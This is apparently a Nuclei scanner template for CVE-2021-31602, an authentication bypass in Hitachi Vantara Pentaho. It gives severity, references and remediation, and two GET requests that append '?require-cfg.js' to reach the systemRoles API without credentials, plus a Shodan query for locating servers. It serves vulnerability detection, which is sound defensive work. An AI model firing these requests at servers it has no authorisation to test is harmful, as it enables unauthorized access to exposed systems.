id: CVE-2021-31602 info: name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass author: pussycat0x severity: high description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials. impact: | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the server. remediation: | Apply the latest security patches or updates provided by Hitachi Vantara to fix the authentication bypass vulnerability. reference: - https://seclists.org/fulldisclosure/2021/Nov/13 - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf - https://www.hitachi.com/hirt/security/index.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-31602 cwe-id: CWE-287 epss-score: 0.36115 epss-percentile: 0.96779 cpe: cpe:2.3:a:hitachi:vantara_pentaho:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: hitachi product: vantara_pentaho shodan-query: Pentaho tags: cve2021,cve,spring,seclists,pentaho,auth-bypass,hitachi http: - method: GET path: - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js" - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - '' - 'Anonymous' condition: and - type: status status: - 200 # digest: 4a0a0047304502204ae292aca4ec803da0ca4b355433c20ab120a8858c7bceaa2155af72453d158f02210081ae8288e92d9b6a920666cc1259f607524b5738c835ea5f42a7b0eac032e65d:922c64590222798bb761d5b6d8e72950